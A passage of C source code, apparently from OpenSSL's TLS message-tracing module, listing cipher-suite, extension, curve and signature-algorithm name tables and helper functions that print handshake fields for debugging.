{0x0067, "TLS_DHE_RSA_WITH_AES_128_CBC_SHA256"},
{0x0068, "TLS_DH_DSS_WITH_AES_256_CBC_SHA256"},
{0x0069, "TLS_DH_RSA_WITH_AES_256_CBC_SHA256"},
{0x006A, "TLS_DHE_DSS_WITH_AES_256_CBC_SHA256"},
{0x006B, "TLS_DHE_RSA_WITH_AES_256_CBC_SHA256"},
{0x006C, "TLS_DH_anon_WITH_AES_128_CBC_SHA256"},
{0x006D, "TLS_DH_anon_WITH_AES_256_CBC_SHA256"},
{0x0084, "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA"},
{0x0085, "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA"},
{0x0086, "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA"},
{0x0087, "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA"},
{0x0088, "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA"},
{0x0089, "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA"},
{0x008A, "TLS_PSK_WITH_RC4_128_SHA"},
{0x008B, "TLS_PSK_WITH_3DES_EDE_CBC_SHA"},
{0x008C, "TLS_PSK_WITH_AES_128_CBC_SHA"},
{0x008D, "TLS_PSK_WITH_AES_256_CBC_SHA"},
{0x008E, "TLS_DHE_PSK_WITH_RC4_128_SHA"},
{0x008F, "TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA"},
{0x0090, "TLS_DHE_PSK_WITH_AES_128_CBC_SHA"},
{0x0091, "TLS_DHE_PSK_WITH_AES_256_CBC_SHA"},
{0x0092, "TLS_RSA_PSK_WITH_RC4_128_SHA"},
{0x0093, "TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA"},
{0x0094, "TLS_RSA_PSK_WITH_AES_128_CBC_SHA"},
{0x0095, "TLS_RSA_PSK_WITH_AES_256_CBC_SHA"},
{0x0096, "TLS_RSA_WITH_SEED_CBC_SHA"},
{0x0097, "TLS_DH_DSS_WITH_SEED_CBC_SHA"},
{0x0098, "TLS_DH_RSA_WITH_SEED_CBC_SHA"},
{0x0099, "TLS_DHE_DSS_WITH_SEED_CBC_SHA"},
{0x009A, "TLS_DHE_RSA_WITH_SEED_CBC_SHA"},
{0x009B, "TLS_DH_anon_WITH_SEED_CBC_SHA"},
{0x009C, "TLS_RSA_WITH_AES_128_GCM_SHA256"},
{0x009D, "TLS_RSA_WITH_AES_256_GCM_SHA384"},
{0x009E, "TLS_DHE_RSA_WITH_AES_128_GCM_SHA256"},
{0x009F, "TLS_DHE_RSA_WITH_AES_256_GCM_SHA384"},
{0x00A0, "TLS_DH_RSA_WITH_AES_128_GCM_SHA256"},
{0x00A1, "TLS_DH_RSA_WITH_AES_256_GCM_SHA384"},
{0x00A2, "TLS_DHE_DSS_WITH_AES_128_GCM_SHA256"},
{0x00A3, "TLS_DHE_DSS_WITH_AES_256_GCM_SHA384"},
{0x00A4, "TLS_DH_DSS_WITH_AES_128_GCM_SHA256"},
{0x00A5, "TLS_DH_DSS_WITH_AES_256_GCM_SHA384"},
{0x00A6, "TLS_DH_anon_WITH_AES_128_GCM_SHA256"},
{0x00A7, "TLS_DH_anon_WITH_AES_256_GCM_SHA384"},
{0x00A8, "TLS_PSK_WITH_AES_128_GCM_SHA256"},
{0x00A9, "TLS_PSK_WITH_AES_256_GCM_SHA384"},
{0x00AA, "TLS_DHE_PSK_WITH_AES_128_GCM_SHA256"},
{0x00AB, "TLS_DHE_PSK_WITH_AES_256_GCM_SHA384"},
{0x00AC, "TLS_RSA_PSK_WITH_AES_128_GCM_SHA256"},
{0x00AD, "TLS_RSA_PSK_WITH_AES_256_GCM_SHA384"},
{0x00AE, "TLS_PSK_WITH_AES_128_CBC_SHA256"},
{0x00AF, "TLS_PSK_WITH_AES_256_CBC_SHA384"},
{0x00B0, "TLS_PSK_WITH_NULL_SHA256"},
{0x00B1, "TLS_PSK_WITH_NULL_SHA384"},
{0x00B2, "TLS_DHE_PSK_WITH_AES_128_CBC_SHA256"},
{0x00B3, "TLS_DHE_PSK_WITH_AES_256_CBC_SHA384"},
{0x00B4, "TLS_DHE_PSK_WITH_NULL_SHA256"},
{0x00B5, "TLS_DHE_PSK_WITH_NULL_SHA384"},
{0x00B6, "TLS_RSA_PSK_WITH_AES_128_CBC_SHA256"},
{0x00B7, "TLS_RSA_PSK_WITH_AES_256_CBC_SHA384"},
{0x00B8, "TLS_RSA_PSK_WITH_NULL_SHA256"},
{0x00B9, "TLS_RSA_PSK_WITH_NULL_SHA384"},
{0x00BA, "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256"},
{0x00BB, "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256"},
{0x00BC, "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256"},
{0x00BD, "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256"},
{0x00BE, "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256"},
{0x00BF, "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256"},
{0x00C0, "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256"},
{0x00C1, "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256"},
{0x00C2, "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256"},
{0x00C3, "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256"},
{0x00C4, "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256"},
{0x00C5, "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256"},
{0x00FF, "TLS_EMPTY_RENEGOTIATION_INFO_SCSV"},
{0x5600, "TLS_FALLBACK_SCSV"},
{0xC001, "TLS_ECDH_ECDSA_WITH_NULL_SHA"},
{0xC002, "TLS_ECDH_ECDSA_WITH_RC4_128_SHA"},
{0xC003, "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA"},
{0xC004, "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA"},
{0xC005, "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA"},
{0xC006, "TLS_ECDHE_ECDSA_WITH_NULL_SHA"},
{0xC007, "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA"},
{0xC008, "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA"},
{0xC009, "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA"},
{0xC00A, "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA"},
{0xC00B, "TLS_ECDH_RSA_WITH_NULL_SHA"},
{0xC00C, "TLS_ECDH_RSA_WITH_RC4_128_SHA"},
{0xC00D, "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA"},
{0xC00E, "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA"},
{0xC00F, "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA"},
{0xC010, "TLS_ECDHE_RSA_WITH_NULL_SHA"},
{0xC011, "TLS_ECDHE_RSA_WITH_RC4_128_SHA"},
{0xC012, "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA"},
{0xC013, "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA"},
{0xC014, "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA"},
{0xC015, "TLS_ECDH_anon_WITH_NULL_SHA"},
{0xC016, "TLS_ECDH_anon_WITH_RC4_128_SHA"},
{0xC017, "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA"},
{0xC018, "TLS_ECDH_anon_WITH_AES_128_CBC_SHA"},
{0xC019, "TLS_ECDH_anon_WITH_AES_256_CBC_SHA"},
{0xC01A, "TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA"},
{0xC01B, "TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA"},
{0xC01C, "TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA"},
{0xC01D, "TLS_SRP_SHA_WITH_AES_128_CBC_SHA"},
{0xC01E, "TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA"},
{0xC01F, "TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA"},
{0xC020, "TLS_SRP_SHA_WITH_AES_256_CBC_SHA"},
{0xC021, "TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA"},
{0xC022, "TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA"},
{0xC023, "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256"},
{0xC024, "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384"},
{0xC025, "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256"},
{0xC026, "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384"},
{0xC027, "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256"},
{0xC028, "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384"},
{0xC029, "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256"},
{0xC02A, "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384"},
{0xC02B, "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256"},
{0xC02C, "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384"},
{0xC02D, "TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256"},
{0xC02E, "TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384"},
{0xC02F, "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"},
{0xC030, "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384"},
{0xC031, "TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256"},
{0xC032, "TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384"},
{0xC033, "TLS_ECDHE_PSK_WITH_RC4_128_SHA"},
{0xC034, "TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA"},
{0xC035, "TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA"},
{0xC036, "TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA"},
{0xC037, "TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256"},
{0xC038, "TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384"},
{0xC039, "TLS_ECDHE_PSK_WITH_NULL_SHA"},
{0xC03A, "TLS_ECDHE_PSK_WITH_NULL_SHA256"},
{0xC03B, "TLS_ECDHE_PSK_WITH_NULL_SHA384"},
{0xC03C, "TLS_RSA_WITH_ARIA_128_CBC_SHA256"},
{0xC03D, "TLS_RSA_WITH_ARIA_256_CBC_SHA384"},
{0xC03E, "TLS_DH_DSS_WITH_ARIA_128_CBC_SHA256"},
{0xC03F, "TLS_DH_DSS_WITH_ARIA_256_CBC_SHA384"},
{0xC040, "TLS_DH_RSA_WITH_ARIA_128_CBC_SHA256"},
{0xC041, "TLS_DH_RSA_WITH_ARIA_256_CBC_SHA384"},
{0xC042, "TLS_DHE_DSS_WITH_ARIA_128_CBC_SHA256"},
{0xC043, "TLS_DHE_DSS_WITH_ARIA_256_CBC_SHA384"},
{0xC044, "TLS_DHE_RSA_WITH_ARIA_128_CBC_SHA256"},
{0xC045, "TLS_DHE_RSA_WITH_ARIA_256_CBC_SHA384"},
{0xC046, "TLS_DH_anon_WITH_ARIA_128_CBC_SHA256"},
{0xC047, "TLS_DH_anon_WITH_ARIA_256_CBC_SHA384"},
{0xC048, "TLS_ECDHE_ECDSA_WITH_ARIA_128_CBC_SHA256"},
{0xC049, "TLS_ECDHE_ECDSA_WITH_ARIA_256_CBC_SHA384"},
{0xC04A, "TLS_ECDH_ECDSA_WITH_ARIA_128_CBC_SHA256"},
{0xC04B, "TLS_ECDH_ECDSA_WITH_ARIA_256_CBC_SHA384"},
{0xC04C, "TLS_ECDHE_RSA_WITH_ARIA_128_CBC_SHA256"},
{0xC04D, "TLS_ECDHE_RSA_WITH_ARIA_256_CBC_SHA384"},
{0xC04E, "TLS_ECDH_RSA_WITH_ARIA_128_CBC_SHA256"},
{0xC04F, "TLS_ECDH_RSA_WITH_ARIA_256_CBC_SHA384"},
{0xC050, "TLS_RSA_WITH_ARIA_128_GCM_SHA256"},
{0xC051, "TLS_RSA_WITH_ARIA_256_GCM_SHA384"},
{0xC052, "TLS_DHE_RSA_WITH_ARIA_128_GCM_SHA256"},
{0xC053, "TLS_DHE_RSA_WITH_ARIA_256_GCM_SHA384"},
{0xC054, "TLS_DH_RSA_WITH_ARIA_128_GCM_SHA256"},
{0xC055, "TLS_DH_RSA_WITH_ARIA_256_GCM_SHA384"},
{0xC056, "TLS_DHE_DSS_WITH_ARIA_128_GCM_SHA256"},
{0xC057, "TLS_DHE_DSS_WITH_ARIA_256_GCM_SHA384"},
{0xC058, "TLS_DH_DSS_WITH_ARIA_128_GCM_SHA256"},
{0xC059, "TLS_DH_DSS_WITH_ARIA_256_GCM_SHA384"},
{0xC05A, "TLS_DH_anon_WITH_ARIA_128_GCM_SHA256"},
{0xC05B, "TLS_DH_anon_WITH_ARIA_256_GCM_SHA384"},
{0xC05C, "TLS_ECDHE_ECDSA_WITH_ARIA_128_GCM_SHA256"},
{0xC05D, "TLS_ECDHE_ECDSA_WITH_ARIA_256_GCM_SHA384"},
{0xC05E, "TLS_ECDH_ECDSA_WITH_ARIA_128_GCM_SHA256"},
{0xC05F, "TLS_ECDH_ECDSA_WITH_ARIA_256_GCM_SHA384"},
{0xC060, "TLS_ECDHE_RSA_WITH_ARIA_128_GCM_SHA256"},
{0xC061, "TLS_ECDHE_RSA_WITH_ARIA_256_GCM_SHA384"},
{0xC062, "TLS_ECDH_RSA_WITH_ARIA_128_GCM_SHA256"},
{0xC063, "TLS_ECDH_RSA_WITH_ARIA_256_GCM_SHA384"},
{0xC064, "TLS_PSK_WITH_ARIA_128_CBC_SHA256"},
{0xC065, "TLS_PSK_WITH_ARIA_256_CBC_SHA384"},
{0xC066, "TLS_DHE_PSK_WITH_ARIA_128_CBC_SHA256"},
{0xC067, "TLS_DHE_PSK_WITH_ARIA_256_CBC_SHA384"},
{0xC068, "TLS_RSA_PSK_WITH_ARIA_128_CBC_SHA256"},
{0xC069, "TLS_RSA_PSK_WITH_ARIA_256_CBC_SHA384"},
{0xC06A, "TLS_PSK_WITH_ARIA_128_GCM_SHA256"},
{0xC06B, "TLS_PSK_WITH_ARIA_256_GCM_SHA384"},
{0xC06C, "TLS_DHE_PSK_WITH_ARIA_128_GCM_SHA256"},
{0xC06D, "TLS_DHE_PSK_WITH_ARIA_256_GCM_SHA384"},
{0xC06E, "TLS_RSA_PSK_WITH_ARIA_128_GCM_SHA256"},
{0xC06F, "TLS_RSA_PSK_WITH_ARIA_256_GCM_SHA384"},
{0xC070, "TLS_ECDHE_PSK_WITH_ARIA_128_CBC_SHA256"},
{0xC071, "TLS_ECDHE_PSK_WITH_ARIA_256_CBC_SHA384"},
{0xC072, "TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256"},
{0xC073, "TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384"},
{0xC074, "TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256"},
{0xC075, "TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384"},
{0xC076, "TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256"},
{0xC077, "TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384"},
{0xC078, "TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256"},
{0xC079, "TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384"},
{0xC07A, "TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256"},
{0xC07B, "TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384"},
{0xC07C, "TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256"},
{0xC07D, "TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384"},
{0xC07E, "TLS_DH_RSA_WITH_CAMELLIA_128_GCM_SHA256"},
{0xC07F, "TLS_DH_RSA_WITH_CAMELLIA_256_GCM_SHA384"},
{0xC080, "TLS_DHE_DSS_WITH_CAMELLIA_128_GCM_SHA256"},
{0xC081, "TLS_DHE_DSS_WITH_CAMELLIA_256_GCM_SHA384"},
{0xC082, "TLS_DH_DSS_WITH_CAMELLIA_128_GCM_SHA256"},
{0xC083, "TLS_DH_DSS_WITH_CAMELLIA_256_GCM_SHA384"},
{0xC084, "TLS_DH_anon_WITH_CAMELLIA_128_GCM_SHA256"},
{0xC085, "TLS_DH_anon_WITH_CAMELLIA_256_GCM_SHA384"},
{0xC086, "TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256"},
{0xC087, "TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384"},
{0xC088, "TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256"},
{0xC089, "TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384"},
{0xC08A, "TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256"},
{0xC08B, "TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384"},
{0xC08C, "TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256"},
{0xC08D, "TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384"},
{0xC08E, "TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256"},
{0xC08F, "TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384"},
{0xC090, "TLS_DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256"},
{0xC091, "TLS_DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384"},
{0xC092, "TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256"},
{0xC093, "TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384"},
{0xC094, "TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256"},
{0xC095, "TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384"},
{0xC096, "TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256"},
{0xC097, "TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384"},
{0xC098, "TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256"},
{0xC099, "TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384"},
{0xC09A, "TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256"},
{0xC09B, "TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384"},
{0xC09C, "TLS_RSA_WITH_AES_128_CCM"},
{0xC09D, "TLS_RSA_WITH_AES_256_CCM"},
{0xC09E, "TLS_DHE_RSA_WITH_AES_128_CCM"},
{0xC09F, "TLS_DHE_RSA_WITH_AES_256_CCM"},
{0xC0A0, "TLS_RSA_WITH_AES_128_CCM_8"},
{0xC0A1, "TLS_RSA_WITH_AES_256_CCM_8"},
{0xC0A2, "TLS_DHE_RSA_WITH_AES_128_CCM_8"},
{0xC0A3, "TLS_DHE_RSA_WITH_AES_256_CCM_8"},
{0xC0A4, "TLS_PSK_WITH_AES_128_CCM"},
{0xC0A5, "TLS_PSK_WITH_AES_256_CCM"},
{0xC0A6, "TLS_DHE_PSK_WITH_AES_128_CCM"},
{0xC0A7, "TLS_DHE_PSK_WITH_AES_256_CCM"},
{0xC0A8, "TLS_PSK_WITH_AES_128_CCM_8"},
{0xC0A9, "TLS_PSK_WITH_AES_256_CCM_8"},
{0xC0AA, "TLS_PSK_DHE_WITH_AES_128_CCM_8"},
{0xC0AB, "TLS_PSK_DHE_WITH_AES_256_CCM_8"},
{0xC0AC, "TLS_ECDHE_ECDSA_WITH_AES_128_CCM"},
{0xC0AD, "TLS_ECDHE_ECDSA_WITH_AES_256_CCM"},
{0xC0AE, "TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8"},
{0xC0AF, "TLS_ECDHE_ECDSA_WITH_AES_256_CCM_8"},
{0xCCA8, "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305"},
{0xCCA9, "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305"},
{0xCCAA, "TLS_DHE_RSA_WITH_CHACHA20_POLY1305"},
{0xCCAB, "TLS_PSK_WITH_CHACHA20_POLY1305"},
{0xCCAC, "TLS_ECDHE_PSK_WITH_CHACHA20_POLY1305"},
{0xCCAD, "TLS_DHE_PSK_WITH_CHACHA20_POLY1305"},
{0xCCAE, "TLS_RSA_PSK_WITH_CHACHA20_POLY1305"},
{0xFEFE, "SSL_RSA_FIPS_WITH_DES_CBC_SHA"},
{0xFEFF, "SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA"},
};
/* Compression methods */
static ssl_trace_tbl ssl_comp_tbl[] = {
{0x0000, "No Compression"},
{0x0001, "Zlib Compression"}
};
/* Extensions */
static ssl_trace_tbl ssl_exts_tbl[] = {
{TLSEXT_TYPE_server_name, "server_name"},
{TLSEXT_TYPE_max_fragment_length, "max_fragment_length"},
{TLSEXT_TYPE_client_certificate_url, "client_certificate_url"},
{TLSEXT_TYPE_trusted_ca_keys, "trusted_ca_keys"},
{TLSEXT_TYPE_truncated_hmac, "truncated_hmac"},
{TLSEXT_TYPE_status_request, "status_request"},
{TLSEXT_TYPE_user_mapping, "user_mapping"},
{TLSEXT_TYPE_client_authz, "client_authz"},
{TLSEXT_TYPE_server_authz, "server_authz"},
{TLSEXT_TYPE_cert_type, "cert_type"},
{TLSEXT_TYPE_elliptic_curves, "elliptic_curves"},
{TLSEXT_TYPE_ec_point_formats, "ec_point_formats"},
{TLSEXT_TYPE_srp, "srp"},
{TLSEXT_TYPE_signature_algorithms, "signature_algorithms"},
{TLSEXT_TYPE_use_srtp, "use_srtp"},
{TLSEXT_TYPE_heartbeat, "heartbeat"},
{TLSEXT_TYPE_session_ticket, "session_ticket"},
{TLSEXT_TYPE_renegotiate, "renegotiate"},
# ifndef OPENSSL_NO_NEXTPROTONEG
{TLSEXT_TYPE_next_proto_neg, "next_proto_neg"},
# endif
{TLSEXT_TYPE_signed_certificate_timestamp, "signed_certificate_timestamps"},
{TLSEXT_TYPE_padding, "padding"},
{TLSEXT_TYPE_encrypt_then_mac, "encrypt_then_mac"},
{TLSEXT_TYPE_extended_master_secret, "extended_master_secret"}
};
static ssl_trace_tbl ssl_curve_tbl[] = {
{1, "sect163k1 (K-163)"},
{2, "sect163r1"},
{3, "sect163r2 (B-163)"},
{4, "sect193r1"},
{5, "sect193r2"},
{6, "sect233k1 (K-233)"},
{7, "sect233r1 (B-233)"},
{8, "sect239k1"},
{9, "sect283k1 (K-283)"},
{10, "sect283r1 (B-283)"},
{11, "sect409k1 (K-409)"},
{12, "sect409r1 (B-409)"},
{13, "sect571k1 (K-571)"},
{14, "sect571r1 (B-571)"},
{15, "secp160k1"},
{16, "secp160r1"},
{17, "secp160r2"},
{18, "secp192k1"},
{19, "secp192r1 (P-192)"},
{20, "secp224k1"},
{21, "secp224r1 (P-224)"},
{22, "secp256k1"},
{23, "secp256r1 (P-256)"},
{24, "secp384r1 (P-384)"},
{25, "secp521r1 (P-521)"},
{26, "brainpoolP256r1"},
{27, "brainpoolP384r1"},
{28, "brainpoolP512r1"},
{29, "ecdh_x25519"},
{0xFF01, "arbitrary_explicit_prime_curves"},
{0xFF02, "arbitrary_explicit_char2_curves"}
};
static ssl_trace_tbl ssl_point_tbl[] = {
{0, "uncompressed"},
{1, "ansiX962_compressed_prime"},
{2, "ansiX962_compressed_char2"}
};
static ssl_trace_tbl ssl_md_tbl[] = {
{TLSEXT_hash_none, "none"},
{TLSEXT_hash_md5, "md5"},
{TLSEXT_hash_sha1, "sha1"},
{TLSEXT_hash_sha224, "sha224"},
{TLSEXT_hash_sha256, "sha256"},
{TLSEXT_hash_sha384, "sha384"},
{TLSEXT_hash_sha512, "sha512"},
{TLSEXT_hash_gostr3411, "md_gost94"},
{TLSEXT_hash_gostr34112012_256, "md_gost2012_256"},
{TLSEXT_hash_gostr34112012_512, "md_gost2012_512"}
};
static ssl_trace_tbl ssl_sig_tbl[] = {
{TLSEXT_signature_anonymous, "anonymous"},
{TLSEXT_signature_rsa, "rsa"},
{TLSEXT_signature_dsa, "dsa"},
{TLSEXT_signature_ecdsa, "ecdsa"},
{TLSEXT_signature_gostr34102001, "gost2001"},
{TLSEXT_signature_gostr34102012_256, "gost2012_256"},
{TLSEXT_signature_gostr34102012_512, "gost2012_512"}
};
static ssl_trace_tbl ssl_hb_tbl[] = {
{1, "peer_allowed_to_send"},
{2, "peer_not_allowed_to_send"}
};
static ssl_trace_tbl ssl_hb_type_tbl[] = {
{1, "heartbeat_request"},
{2, "heartbeat_response"}
};
static ssl_trace_tbl ssl_ctype_tbl[] = {
{1, "rsa_sign"},
{2, "dss_sign"},
{3, "rsa_fixed_dh"},
{4, "dss_fixed_dh"},
{5, "rsa_ephemeral_dh"},
{6, "dss_ephemeral_dh"},
{20, "fortezza_dms"},
{64, "ecdsa_sign"},
{65, "rsa_fixed_ecdh"},
{66, "ecdsa_fixed_ecdh"}
};
static ssl_trace_tbl ssl_crypto_tbl[] = {
{TLS1_RT_CRYPTO_PREMASTER, "Premaster Secret"},
{TLS1_RT_CRYPTO_CLIENT_RANDOM, "Client Random"},
{TLS1_RT_CRYPTO_SERVER_RANDOM, "Server Random"},
{TLS1_RT_CRYPTO_MASTER, "Master Secret"},
{TLS1_RT_CRYPTO_MAC | TLS1_RT_CRYPTO_WRITE, "Write Mac Secret"},
{TLS1_RT_CRYPTO_MAC | TLS1_RT_CRYPTO_READ, "Read Mac Secret"},
{TLS1_RT_CRYPTO_KEY | TLS1_RT_CRYPTO_WRITE, "Write Key"},
{TLS1_RT_CRYPTO_KEY | TLS1_RT_CRYPTO_READ, "Read Key"},
{TLS1_RT_CRYPTO_IV | TLS1_RT_CRYPTO_WRITE, "Write IV"},
{TLS1_RT_CRYPTO_IV | TLS1_RT_CRYPTO_READ, "Read IV"},
{TLS1_RT_CRYPTO_FIXED_IV | TLS1_RT_CRYPTO_WRITE, "Write IV (fixed part)"},
{TLS1_RT_CRYPTO_FIXED_IV | TLS1_RT_CRYPTO_READ, "Read IV (fixed part)"}
};
static void ssl_print_hex(BIO *bio, int indent, const char *name,
const unsigned char *msg, size_t msglen)
{
size_t i;
BIO_indent(bio, indent, 80);
BIO_printf(bio, "%s (len=%d): ", name, (int)msglen);
for (i = 0; i < msglen; i++)
BIO_printf(bio, "%02X", msg[i]);
BIO_puts(bio, "\n");
}
static int ssl_print_hexbuf(BIO *bio, int indent,
const char *name, size_t nlen,
const unsigned char **pmsg, size_t *pmsglen)
{
size_t blen;
const unsigned char *p = *pmsg;
if (*pmsglen < nlen)
return 0;
blen = p[0];
if (nlen > 1)
blen = (blen << 8) | p[1];
if (*pmsglen < nlen + blen)
return 0;
p += nlen;
ssl_print_hex(bio, indent, name, p, blen);
*pmsg += blen + nlen;
*pmsglen -= blen + nlen;
return 1;
}
static int ssl_print_version(BIO *bio, int indent, const char *name,
const unsigned char **pmsg, size_t *pmsglen)
{
int vers;
if (*pmsglen < 2)
return 0;
vers = ((*pmsg)[0] << 8) | (*pmsg)[1];
BIO_indent(bio, indent, 80);
BIO_printf(bio, "%s=0x%x (%s)\n",
name, vers, ssl_trace_str(vers, ssl_version_tbl));
*pmsg += 2;
*pmsglen -= 2;
return 1;
}
static int ssl_print_random(BIO *bio, int indent,
const unsigned char **pmsg, size_t *pmsglen)
{
unsigned int tm;
const unsigned char *p = *pmsg;
if (*pmsglen < 32)
return 0;
tm = (p[0] << 24) | (p[1] << 16) | (p[2] << 8) | p[3];
p += 4;
BIO_indent(bio, indent, 80);
BIO_puts(bio, "Random:\n");
BIO_indent(bio, indent + 2, 80);
BIO_printf(bio, "gmt_unix_time=0x%08X\n", tm);
ssl_print_hex(bio, indent + 2, "random_bytes", p, 28);
*pmsg += 32;
*pmsglen -= 32;
return 1;
}
static int ssl_print_signature(BIO *bio, int indent, SSL *s,
const unsigned char **pmsg, size_t *pmsglen)
{
if (*pmsglen < 2)
return 0;
if (SSL_USE_SIGALGS(s)) {
const unsigned char *p = *pmsg;
BIO_indent(bio, indent, 80);
BIO_printf(bio, "Signature Algorithm %s+%s (%d+%d)\n",
ssl_trace_str(p[0], ssl_md_tbl),
ssl_trace_str(p[1], ssl_sig_tbl), p[0], p[1]);
*pmsg += 2;
*pmsglen -= 2;
}
return ssl_print_hexbuf(bio, indent, "Signature", 2, pmsg, pmsglen);
}
static int ssl_print_extension(BIO *bio, int indent, int server, int extype,
const unsigned char *ext, size_t extlen)
{
size_t xlen;
BIO_indent(bio, indent, 80);
BIO_printf(bio, "extension_type=%s(%d), length=%d\n",
ssl_trace_str(extype, ssl_exts_tbl), extype, (int)extlen);
switch (extype) {
case TLSEXT_TYPE_ec_point_formats:
if (extlen < 1)
return 0;
xlen = ext[0];
if (extlen != xlen + 1)
return 0;
return ssl_trace_list(bio, indent + 2, ext + 1, xlen, 1, ssl_point_tbl);
case TLSEXT_TYPE_elliptic_curves:
if (extlen < 2)
return 0;
xlen = (ext[0] << 8) | ext[1];
if (extlen != xlen + 2)
return 0;
return ssl_trace_list(bio, indent + 2, ext + 2, xlen, 2, ssl_curve_tbl);
case TLSEXT_TYPE_signature_algorithms:
if (extlen < 2)
return 0;
xlen = (ext[0] << 8) | ext[1];
if (extlen != xlen + 2)
return 0;
if (xlen & 1)
return 0;
ext += 2;
while (xlen > 0) {
BIO_indent(bio, indent + 2, 80);
BIO_printf(bio, "%s+%s (%d+%d)\n",
ssl_trace_str(ext[0], ssl_md_tbl),
ssl_trace_str(ext[1], ssl_sig_tbl), ext[0], ext[1]);
